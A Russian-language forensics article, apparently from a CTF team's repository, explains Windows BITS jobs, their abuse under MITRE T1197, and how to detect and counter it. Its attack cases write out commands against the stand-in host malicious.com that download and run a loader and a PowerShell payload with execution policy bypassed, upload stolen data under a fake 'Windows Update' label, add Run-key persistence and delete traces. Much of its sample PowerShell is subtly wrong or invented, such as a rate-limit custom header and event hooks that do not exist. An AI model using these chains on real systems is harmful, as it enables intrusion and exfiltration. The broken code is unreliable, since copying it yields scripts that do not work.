Источник: https://github.com/AnaktaCTF/CTF/blob/main — Forensic/bits.md
- Введение
- Основы BITS и BITS Jobs
- Злоупотребление BITS Jobs
- Методы обнаружения и противодействия
- Заключение
- Ссылки
Что такое BITS?
Background Intelligent Transfer Service (BITS) — это служба Windows, которая позволяет приложениям передавать файлы между клиентом и сервером в фоновом режиме. Она оптимизирует использование сети, регулируя скорость передачи данных, и автоматически возобновляет прерванные загрузки.
Значимость BITS Jobs
BITS Jobs — это задания, которые управляют передачей файлов через BITS. Они широко используются для легитимных целей, таких как обновления Windows и синхронизация данных. Однако злоумышленники могут использовать BITS Jobs для скрытной загрузки вредоносного ПО или передачи данных, что делает их важным объектом изучения в кибербезопасности.
Цель статьи
Цель этой статьи — рассмотреть, как работает BITS, изучить его легитимные применения и понять, как злоумышленники могут злоупотреблять BITS Jobs. Мы также обсудим методы защиты от атак, связанных с использованием BITS, и их значимость для программистов и специалистов по безопасности.
Основы BITS и BITS Jobs
Background Intelligent Transfer Service: обзор
Функции, предоставляемые службой BITS
Background Intelligent Transfer Service (BITS) предоставляет следующие ключевые функции:
- Асинхронная передача файлов: BITS позволяет приложениям передавать файлы в фоновом режиме, не мешая работе пользователя.
- Оптимизация использования сети: Служба использует неиспользуемую пропускную способность сети, чтобы минимизировать влияние на другие приложения.
- Возобновление передачи: Если передача была прервана (например, из-за отключения сети), BITS автоматически возобновляет её с того места, где она остановилась.
- Управление приоритетами: Задания BITS могут быть настроены с разными уровнями приоритета, что позволяет управлять порядком выполнения задач.
- Поддержка безопасности: BITS использует аутентификацию и шифрование для защиты передаваемых данных.
Как работает передача файлов через BITS
Передача файлов через BITS включает следующие этапы:
- Создание задания: Приложение или скрипт создаёт задание BITS с указанием параметров, таких как источник и назначение файлов.
- Добавление файлов: В задание добавляются файлы, которые необходимо передать.
- Передача данных: BITS начинает передачу файлов, используя неиспользуемую пропускную способность сети.
- Завершение задания: После успешной передачи файлов задание завершается, и приложение получает уведомление.
BITS Jobs: механизм работы
Основные компоненты архитектуры BITS
-
Клиентская часть:
Приложения или скрипты, которые взаимодействуют с BITS через API или командную строку, создают и управляют заданиями. Клиентская часть определяет параметры заданий, такие как источник, назначение, приоритет и ограничения. -
Служба BITS:
Основной компонент, который отвечает за выполнение заданий. Служба работает в фоновом режиме, управляет очередями заданий, регулирует использование сети и обеспечивает автоматическое возобновление прерванных передач. -
Хранилище заданий:
Все задания BITS сохраняются в локальной базе данных, что позволяет службе отслеживать их состояние и возобновлять выполнение после перезагрузки системы. -
Интеграция с сетевыми протоколами:
BITS использует стандартные сетевые протоколы, такие как HTTP и HTTPS, для передачи данных. Это обеспечивает совместимость с большинством серверов и сетевых инфраструктур.
Параметры задач BITS:
Задачи BITS (BITS Jobs) создаются с использованием API или командной строки. При создании задания можно указать следующие параметры:
- Имя задания: Уникальный идентификатор задания.
# Указание имени задания
$job = Start-BitsTransfer -DisplayName "MyDownloadJob" -Source "https://example.com/file.zip" -Destination "C:\Downloads\file.zip"
Write-Host "Имя задания: $($job.DisplayName)"
- Тип задания: Загрузка (download), отправка (upload) или передача (upload-reply).
# Создание задания для загрузки
$job = Start-BitsTransfer -Source "https://example.com/file.zip" -Destination "C:\Downloads\file.zip"
Write-Host "Тип задания: Download"
Различие между типами задач
- Загрузка (Download): Передача файлов с удалённого сервера на локальную машину.
- Отправка (Upload): Передача файлов с локальной машины на удалённый сервер.
- Передача с ответом (Upload-Reply): Передача файлов на сервер с последующим получением ответа.
Каждый тип задачи имеет свои особенности и используется в зависимости от требований приложения.
- Приоритет: Высокий, нормальный или низкий.
# Установка приоритета задания
$job.Priority = [Microsoft.BackgroundIntelligentTransfer.Management.BitsJobPriority]::High
Write-Host "Приоритет задания: Высокий"
- Ограничения скорости: Максимальная скорость передачи данных.
# Установка ограничения скорости передачи
$job = Start-BitsTransfer -Source "https://example.com/file.zip" -Destination "C:\Downloads\file.zip"
$job.SetCustomHeaders("BITS-Rate-Limit: 1024") # Ограничение скорости до 1024 байт/сек
Write-Host "Ограничение скорости установлено"
- Условия завершения: Условия, при которых задание считается завершённым.
# Установка условий завершения
$job = Start-BitsTransfer -Source "https://example.com/file.zip" -Destination "C:\Downloads\file.zip"
$job.Complete()
Write-Host "Задание завершено"
Примеры создания задач BITS:
Пример 1: Загрузка файла с проверкой контрольной суммы
# Создание задания для загрузки файла
$job = Start-BitsTransfer -Source "https://example.com/installer.exe" -Destination "C:\Temp\installer.exe"
# Проверка контрольной суммы после загрузки
$expectedHash = "ABC123DEF456"
$actualHash = (Get-FileHash -Path "C:\Temp\installer.exe" -Algorithm SHA256).Hash
if ($expectedHash -eq $actualHash) {
Write-Host "Контрольная сумма совпадает. Файл загружен успешно."
} else {
Write-Host "Контрольная сумма не совпадает. Файл может быть повреждён."
}
Пример 2: Отправка файла с уведомлением по электронной почте
# Создание задания для отправки файла
$job = Add-BitsFile -JobName "UploadReport" -Source "C:\Reports\report.pdf" -Destination "https://example.com/upload"
# Уведомление по электронной почте после завершения
Register-ObjectEvent -InputObject $job -EventName JobTransferred -Action {
Send-MailMessage -To "admin@example.com" -From "noreply@example.com" -Subject "Файл успешно отправлен" -Body "Отчёт загружен на сервер."
}
$job.Resume()
Пример 3: Передача файла с ответом от сервера
# Создание задания для передачи файла с ответом
$job = Start-BitsTransfer -Source "C:\Data\request.json" -Destination "https://api.example.com/upload-reply" -TransferType UploadReply
# Сохранение ответа сервера
$job.SetReplyFileName("C:\Data\response.json")
$job.Resume()
# Проверка ответа
if (Test-Path "C:\Data\response.json") {
Write-Host "Ответ от сервера сохранён в response.json"
} else {
Write-Host "Не удалось получить ответ от сервера."
}
Пример 4: Ограничение скорости передачи для больших файлов
# Создание задания с ограничением скорости
$job = Start-BitsTransfer -Source "https://example.com/largefile.zip" -Destination "C:\Downloads\largefile.zip"
$job.SetCustomHeaders("BITS-Rate-Limit: 1048576") # Ограничение скорости до 1 МБ/сек
$job.Resume()
Write-Host "Задание с ограничением скорости создано."
Пример 5: Автоматическое удаление задания после завершения
# Создание задания для загрузки файла
$job = Start-BitsTransfer -Source "https://example.com/tempfile.zip" -Destination "C:\Temp\tempfile.zip"
# Удаление задания после завершения
Register-ObjectEvent -InputObject $job -EventName JobTransferred -Action {
Remove-BitsTransfer -BitsJob $job
Write-Host "Задание удалено после завершения."
}
$job.Resume()
Злоупотребление BITS Jobs
Техника T1197 из MITRE ATT&CK описывает использование BITS Jobs для выполнения вредоносного кода. Злоумышленники могут создавать задания BITS для загрузки и выполнения вредоносных файлов, а также для обеспечения устойчивости атак. Эта техника особенно опасна, так как BITS работает в фоновом режиме и использует системные процессы, что затрудняет её обнаружение.
Кейсы реальных атак
Пример 1: Многоэтапная атака с использованием BITS для загрузки и выполнения вредоносного ПО
Шаги злоумышленников:
-
Создание задания для загрузки вредоносного загрузчика:
Злоумышленник создаёт задание BITS для загрузки небольшого загрузчика, который затем скачивает основной вредоносный файл.# Загрузка загрузчика $job = Start-BitsTransfer -Source "https://malicious.com/loader.exe" -Destination "C:\Temp\loader.exe" $job.Resume() -
Запуск загрузчика для загрузки основного вредоносного файла:
После завершения загрузки загрузчик запускается и скачивает основной вредоносный файл.Start-Process "C:\Temp\loader.exe" -
Сокрытие активности:
После выполнения загрузчика задание BITS удаляется, чтобы скрыть следы.Remove-BitsTransfer -BitsJob $job -
Установка устойчивости:
Основной вредоносный файл добавляется в автозагрузку для обеспечения устойчивости.Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousApp" -Value "C:\Temp\malware.exe"
Анализ:
- Цель: Загрузка и выполнение вредоносного ПО через многоэтапный процесс.
- Методы сокрытия: Удаление задания BITS и использование загрузчика для минимизации подозрений.
- Рекомендации по защите: Мониторинг активности BITS и проверка автозагрузки на наличие подозрительных записей.
Пример 2: Использование BITS для передачи данных с заражённой системы
Шаги злоумышленников:
-
Создание задания для отправки данных:
Злоумышленник использует BITS для отправки украденных данных на удалённый сервер.$job = Start-BitsTransfer -Source "C:\SensitiveData\stolen_data.zip" -Destination "https://malicious.com/upload" $job.Resume() -
Маскировка задания:
Задание получает описание, похожее на системное, чтобы избежать подозрений.$job.Description = "Windows Update Data Sync" -
Автоматическое возобновление передачи:
Если передача прерывается, задание автоматически возобновляется благодаря встроенным функциям BITS. -
Удаление задания после завершения:
После успешной передачи данных задание удаляется.Remove-BitsTransfer -BitsJob $job
Анализ:
- Цель: Передача украденных данных с минимальным риском обнаружения.
- Методы сокрытия: Маскировка задания под системное и автоматическое удаление после завершения.
- Рекомендации по защите: Регулярный аудит заданий BITS и мониторинг сетевого трафика.
Пример 3: Использование BITS для цепной атаки через API
Шаги злоумышленников:
-
Создание задания через BITS API:
Злоумышленник использует BITS API для создания задания, которое скачивает скрипт PowerShell с удалённого сервера.using System; using Bits; class ChainAttack { static void Main() { var manager = new BackgroundCopyManager(); IBackgroundCopyJob job; // Создание задания BITS manager.CreateJob("ChainAttackJob", BG_JOB_TYPE.BG_JOB_TYPE_DOWNLOAD, out job); job.AddFile("https://malicious.com/payload.ps1", @"C:\Temp\payload.ps1"); job.Resume(); Console.WriteLine("Скрипт PowerShell загружен."); } } -
Выполнение загруженного скрипта:
После завершения загрузки скрипт PowerShell выполняется для выполнения дальнейших действий.powershell.exe -ExecutionPolicy Bypass -File "C:\Temp\payload.ps1" -
Дальнейшие действия скрипта:
Скрипт PowerShell может:- Скачивать дополнительные модули.
- Выполнять команды на заражённой системе.
- Устанавливать устойчивость.
-
Удаление задания и временных файлов:
После выполнения скрипта задание и временные файлы удаляются.Remove-BitsTransfer -BitsJob $job Remove-Item "C:\Temp\payload.ps1"
Анализ:
- Цель: Выполнение цепной атаки с использованием BITS API и PowerShell.
- Методы сокрытия: Удаление временных файлов и задания после выполнения.
- Рекомендации по защите: Ограничение доступа к BITS API и мониторинг выполнения скриптов PowerShell.
Преимущества атак через BITS Jobs
-
Незаметность для стандартных антивирусов:
Поскольку BITS работает через системные процессы, такие какsvchost.exe, его активность часто не вызывает подозрений у стандартных антивирусных решений. Это позволяет злоумышленникам скрывать свои действия. -
Аутентификация и управление через API:
BITS предоставляет мощный API, который позволяет злоумышленникам создавать, управлять и контролировать задания. Если у атакующего есть доступ к системе, он может использовать этот API для выполнения своих задач без необходимости использования дополнительных инструментов. -
Автоматическое возобновление:
Задания BITS автоматически возобновляются после сбоев, таких как перезагрузка системы или временные проблемы с сетью. Это делает атаки более устойчивыми и сложными для обнаружения. -
Гибкость в настройке:
Возможность задавать приоритеты, ограничения скорости и другие параметры позволяет злоумышленникам адаптировать атаки под конкретные условия, минимизируя вероятность обнаружения.
Методы обнаружения и противодействия
Обнаружение атак
-
Анализ логов системы Windows:
Логи Windows могут содержать информацию о создании и выполнении заданий BITS. Используйте Event Viewer для анализа событий, связанных с BITS, например, в разделе "Applications and Services Logs > Microsoft > Windows > Bits-Client". -
Настройка средств мониторинга сетевого трафика:
Инструменты мониторинга, такие как Wireshark или Zeek, могут помочь обнаружить подозрительные подключения к неизвестным доменам или IP-адресам, используемым для загрузки вредоносных файлов. -
Использование специализированных инструментов (например, Sysmon):
Sysmon позволяет отслеживать создание процессов, сетевые подключения и изменения в системе. Настройте Sysmon для мониторинга активности, связанной сsvchost.exeи заданиями BITS.Пример конфигурации Sysmon для мониторинга BITS:
<RuleGroup name="BITS Monitoring" groupRelation="or"> <ProcessCreate onmatch="include"> <Image condition="contains">svchost.exe</Image> <CommandLine condition="contains">bitsadmin</CommandLine> </ProcessCreate> </RuleGroup>
Противодействие
-
Настройка групповой политики для ограничения BITS Jobs:
Используйте Group Policy Editor для ограничения доступа к BITS API. Например, можно запретить выполнениеbitsadmin.exeдля определённых пользователей или групп.Пример настройки:
- Откройте редактор групповой политики (Group Policy Editor), выполнив команду
gpedit.msc. - Перейдите в раздел:
User Configuration > Administrative Templates > System. - Найдите параметр "Don't run specified Windows applications" (Не запускать указанные приложения Windows).
- Включите этот параметр и добавьте
bitsadmin.exeв список запрещённых приложений. - Нажмите OK для сохранения изменений.
- Откройте редактор групповой политики (Group Policy Editor), выполнив команду
-
Удаление задач BITS вручную через PowerShell или командную строку:
Вы можете вручную удалить подозрительные задания BITS с помощью PowerShell:# Получение списка всех заданий BITS Get-BitsTransfer # Удаление подозрительного задания Remove-BitsTransfer -BitsJobId <JobId> -
Автоматизация защиты с использованием скриптов:
Создайте скрипт для регулярного мониторинга и удаления подозрительных заданий. Например:# Скрипт для удаления заданий с подозрительными описаниями $jobs = Get-BitsTransfer foreach ($job in $jobs) { if ($job.Description -like "*malicious*") { Remove-BitsTransfer -BitsJob $job Write-Host "Удалено подозрительное задание: $($job.DisplayName)" } }
Примеры инструментов
-
Антивирусные решения и EDR-системы для обнаружения угроз:
Современные антивирусы и EDR-системы (Endpoint Detection and Response), такие как Microsoft Defender ATP, CrowdStrike или SentinelOne, могут обнаруживать и блокировать подозрительную активность, связанную с BITS. -
Утилиты для анализа BITS Jobs:
- BitsAdmin: Командная утилита для управления заданиями BITS.
Пример использования:bitsadmin /list /allusers - PowerShell: Инструмент для управления и анализа заданий BITS.
Пример:Get-BitsTransfer | Format-Table -Property DisplayName, Description, State - Sysinternals Suite: Набор инструментов, таких как Process Monitor, для анализа активности процессов, связанных с BITS.
- BitsAdmin: Командная утилита для управления заданиями BITS.
Заключение
Background Intelligent Transfer Service (BITS) — мощный инструмент для передачи данных, который широко используется в легитимных целях. Однако его возможности могут быть использованы злоумышленниками для выполнения атак. Понимание работы BITS, методов злоупотребления и способов защиты позволяет программистам и специалистам по безопасности эффективно предотвращать угрозы. Совместная работа разработчиков и безопасников, а также использование современных инструментов мониторинга и защиты помогут минимизировать риски, связанные с использованием BITS.